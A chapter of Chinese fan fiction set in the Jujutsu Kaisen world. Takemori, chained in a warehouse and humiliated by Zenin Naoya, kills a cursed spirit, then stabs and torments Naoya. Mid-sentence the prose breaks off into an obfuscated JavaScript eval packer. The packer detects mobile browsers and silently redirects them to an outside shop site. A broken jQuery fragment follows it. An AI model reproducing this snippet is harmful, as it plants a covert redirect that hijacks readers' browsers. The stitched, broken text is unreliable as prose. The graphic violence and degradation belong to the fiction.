13. 禅院甚尔
    竹盛垂下眼睫:“……”

    “那我走了。”禅院直哉不准备再折腾下去,他扭头就走。

    但他没走几步就顿住了,嘴角抑制不住地上扬。

    朝下看,一双手拉住了他的靴子。

    “汪……”

    眼前的黑发少年垂头道。

    过长的黑发完全垂了下来,掩盖住了少年的神情。

    禅院直哉兴奋地笑了:“你真的汪了欸?!”

    他抓住竹盛的头发,提起,眼前的少年满脸的尘土,双目无神,脸侧有擦伤,应该是刚才被他踢的那一脚所致。

    真是好表情,他掏出手机,“咔嚓”一声拍了张照。

    发给五条悟怎么样?

    直哉心想。

    他把照片点了“保存”。

    他笑道:“不错,乖狗狗就是要奖励的。”

    直哉后退几步,挥臂抡出一个圆,把那袋食物丢到了仓库外面。

    竹盛眼含惊讶地看着他。

    直哉笑道:“怎么?你真的以为我会救你吗?想救你的是我老爹。”

    他俯下身,眼神犹如毒蛇:“我恨不得你死在这里。”

    竹盛几乎忘了反应,他寒毛直竖,同时有些困惑,为什么这么恨他呢?

    自己干了什么特别特别坏的事了吗?不就是当时阻止了禅院直哉术式的释放吗?为什么要出尔反尔?又为什么要侮辱他?

    明明是禅院直哉先犯规的……

    自己只是阻止了他的违规举动……

    为什么要这样对他啊!

    直哉挥挥手,身旁的侍从递过来一个老旧的木匣。

    他放到竹盛眼前,说:“不过你这么乖,也不能一点奖励都没有。”

    “这个就送给你。”

    迎竹盛怀疑中夹杂着恐惧的眼光,他笑着打开了匣子。

    一只扭曲的咒灵从匣子里折叠着翻涌出来,好像漫画书里的阿拉丁神灯,不过是伊藤润二版的。

    “你看,我还是很不错的吧,特地给你找了同类来陪你,今天晚上你一个也不会孤单了。”禅院直哉道。

    咒灵不断的扭曲、膨胀到了有一头牛那么大,他浑身上下流着粘液,像一条巨大的蛞蝓。

    蛞蝓的两个触角不断的伸缩、伸缩,瞄准到竹盛的方向。

    咒灵发出“咕噜噜”的声响,夹杂着粘稠的液体滚过地面的黏腻声。

    它缓慢且笔直地朝竹盛爬来。

    竹盛被吓地站了起来,一步步朝后退去。

    他想变成天逆鉾直接躲过这个咒灵的攻击,但是可能是由于脚腕上的咒具的原因,竹盛没有办法自主地掌握自己的形态。

    竹盛调转视线,天逆鉾夹杂着白色光斑从他手上幻化出来。

    他对上蛞蝓咒灵的两只触角,这才发现这怪物的两只触角是两条人的手臂,手臂上淋着黄色粘液,五指合成拳,所以才会在远处被误当做触角。

    深呼吸……竹盛想。

    竹盛心想,就像打怪一样,没什么不同,斩断这个咒灵,然后……

    竹盛的手紧握着天逆鉾,仰视着比自己高大许多的咒灵,手以一种不可察觉的幅度在微微颤抖着。

    他的嘴唇也不住地抖动着。

    他举起天逆鉾对准咒灵挥下,可是因为没有咒力加持的缘故,只在咒灵的身上割了一道浅浅的口子。

    咒灵的触角把他悬空卷了起来,感受到身侧不断压紧的力度,竹盛肺部的气息逐渐缺少,缺氧使得他眼前一阵阵发黑,脑海中闪现一幕幕画面,他意识到自己真的会死。

    没有人会来救他。

    他好像这个时候才真正接触到了这个世界,残酷而冰冷。

    他不是在玩什么通关游戏,也不是在做什么任务,更不是什么在扮演什么角色,什么无功无过地过十年然后回到现实生活啊……

    开什么玩笑。

    开什么玩笑?!!

    他切切实实活在这个世界上,他重新获得了一条生命,这条生命和他前世的生命一样珍贵。

    这是一个咒术的世界。有吃人的咒灵,作恶的诅咒师,在这个世界上,每天都有数不胜数的普通人因为咒灵和诅咒师而死亡……竹盛想起之前和五条悟一起去病房看望的那个女孩儿,好像叫依织,有着一双可爱的酒窝……生命是珍贵而易逝的,死亡是家常便饭,活下去才是最最困难的,他早该知道。

    蠢货!!之前准备随随便便过活的自己就是个蠢货!

    自己绝对、绝对要活下来。

    他隔空和与禅院直哉的眼神对视。

    原来禅院直哉并没有走,而是抱臂站在一旁,冷笑着看着他。

    这个人……

    竹盛对上直哉戏谑的目光,腰间被踢的那一下还在隐隐发痛。

    这个人渣。

    在这一刻,畏惧困惑和恐慌偃旗息鼓,名为愤怒的火焰在竹盛的胸腔里熊熊燃烧着。

    这里的生活是如此的真实,而且……

    而且自己在这里所受的所有屈辱与折磨,他也要亲手尽数奉还。

    竹盛能感觉到手上的天逆鉾裹上了一层厚厚的黑色火焰。

    这是咒力,五条悟曾经教过他怎么释放咒力,但自己之前一直没有成功过。

    他双手握住天逆鉾,这个价值上亿的特级咒具,在无垠的黑暗中闪着仿佛能够撕破一切的寒光。

    用力下劈——

    强烈的白光照亮了整个仓库,在好像烧焦物的“滋滋”作响声中,蛞蝓咒灵嘶鸣着松开了竹盛,他身体被竹盛一切为二,黑色的血浆一样的东西恍若喷泉一般喷涌而出!

    竹盛摔在地上,黑色的血浆溅在他脸上,转瞬化成灰散去了。

    ……

    禅院直哉愣住。

    什么?

    那个小子杀死了二级咒灵?

    开玩笑吧……不可能。

    因为刚才的白光过于耀眼,他合上了眼睛,现在已经找不到竹盛的身影了。

    他前进几步,看见自己准备的咒灵已经被劈成了两半,满地都是黑色的浓浆。

    人呢?

    禅院直哉低头。

    一根造型奇特的匕首斜插进了自己的腰腹中。

    “你……”

    身后的人身手伶俐地拔出匕首。

    禅院直哉一个趔趄坐在地上。

    鲜血止不住地从腰腹的伤口处汩汩流出,禅院直哉震惊的捂住腰间,鲜血从他的手中满溢而出。

    他吓得向后一倒,坐在地上。

    他撕扯着嗓子,吼道:“来人呐——”

    没有回应。

    直哉额角划过冷汗,才意识到刚刚为了处理掉竹盛,就把侍从全部驱散了。

    竹盛一脚踢在他腰腹的伤口上。

    “嘶——”禅院直哉疼得倒吸一口凉气。

    他被踢得仰躺在地上。

    “你等着死吧。”直哉的眼神饱含恶毒,如滚烫的热水一般泼向俯视他的竹盛。

    出乎他的意料,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425779|141393||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    竹盛没有反应,他静静地站在原地,仓库上方的几线阳光投射在他脸上,直哉这才发现竹盛的发丝是蓝色的。

    竹盛那双黑白分明的眼睛正幽幽地盯着他。

    直哉:“……”

    竹盛的眼神令他心里发毛,一中从未有过的惧意在胸口弥漫,仿佛四肢的血液都凝固了。

    竹盛抬脚,坚硬的鞋底再次碾上了直哉的伤口。

    “你这个人渣。”竹盛用力一踩,看着鲜血从自己的鞋底溢出。

    直哉尽力用咒力覆盖住受伤的部位,他疼得嘴唇直发抖,想运转术式反击。

    但是就好像和术式的连接被斩断了一样,自己的术式始终没办法启动。

    是那个小子的术式!

    竹盛加大脚上的力度,转着反复碾了碾直哉的伤口。

    “人渣。”竹盛说。

    “变态。”

    “神经病。”

    竹盛每骂一句,就加重一次脚下的力道。

    尽管用咒力抑制了伤口的扩散,但禅院直哉也是第一次受这么重的伤,他没有办法一直保持着咒力的输出,每次力道加强时,由于刻骨的疼痛他的咒力都无可避免地消散掉一部分。

    有鲜血从禅院直哉的口中流出,这个畜生。

    他吞下血仰起头,想回骂几句。

    可当他仰起头,看着把靴子踩在自己身上、居高临下俯视自己的黑发少年时,伴随着一阵阵的疼痛,他的心中却涌起一股不知来由的战栗。

    这使他头皮发麻。

    “……”禅院直哉没有骂出声,反而扭过了头。

    停顿半晌,有眼泪滚滚地从他的脸上滑下,禅院直哉道:“你杀死我……就、就等着明天早上被我爸凌迟吧。”

    “是吗。”

    竹盛揪住他的头发,把他拖到了仓库的死角。

    他开始扒禅院直哉的衣服。

    外衣是厚实的棉服,虽然被他刚才一捅,有些棉花跑了出来,血液涌了进去,但是量不多,总归还是十分的暖和的。

    “你干什么……”

    因为失血的缘故,禅院直哉的声音渐渐虚弱。

    竹盛没有管禅院直哉的呻/吟,把他的外服脱下来后,又盯上了对方厚实的棉裤。

    ……

    竹盛穿的厚厚的坐在地上,这才感觉浑身上下渐渐暖和起来。

    “呜呜……”

    竹盛扭头,禅院直哉的嘴被袜子堵住,因为刚才脱他衣服的时候说了一些话惹得他不开心。

    他看着仓库角落的、只穿了内衬而冻得身体通红且浑身是血的直哉,心中的怒火也渐渐消散。

    刚才因为愤怒而产生的力气逐渐消失,他感觉好饿。

    好饿啊。

    竹盛来到仓库门前,之前被禅院直哉扔出去的食物正静静地躺在里仓库门四五米的距离,外面飘着大雪,这些食物已经被白雪掩埋一半了。

    他推开门,想把那些食物捡起来,但是果然不可以。

    “当啷”的响声从他的脚腕处传来,那个禅院家主所说的咒具终于显现原形。

    一条银色的链子出现在他脚脖上,竹盛扯了扯,根本扯不动。

    他只好半蹲在仓库门口望着那个塑料袋,以他目测,手臂是绝对够不着那些吃的的。

    一只骨节突出的手拾起了那个塑料袋。

    竹盛看向来人。

    “不错的眼神嘛。”

    来者穿着一条黑T,把塑料袋里的食物扔给了他。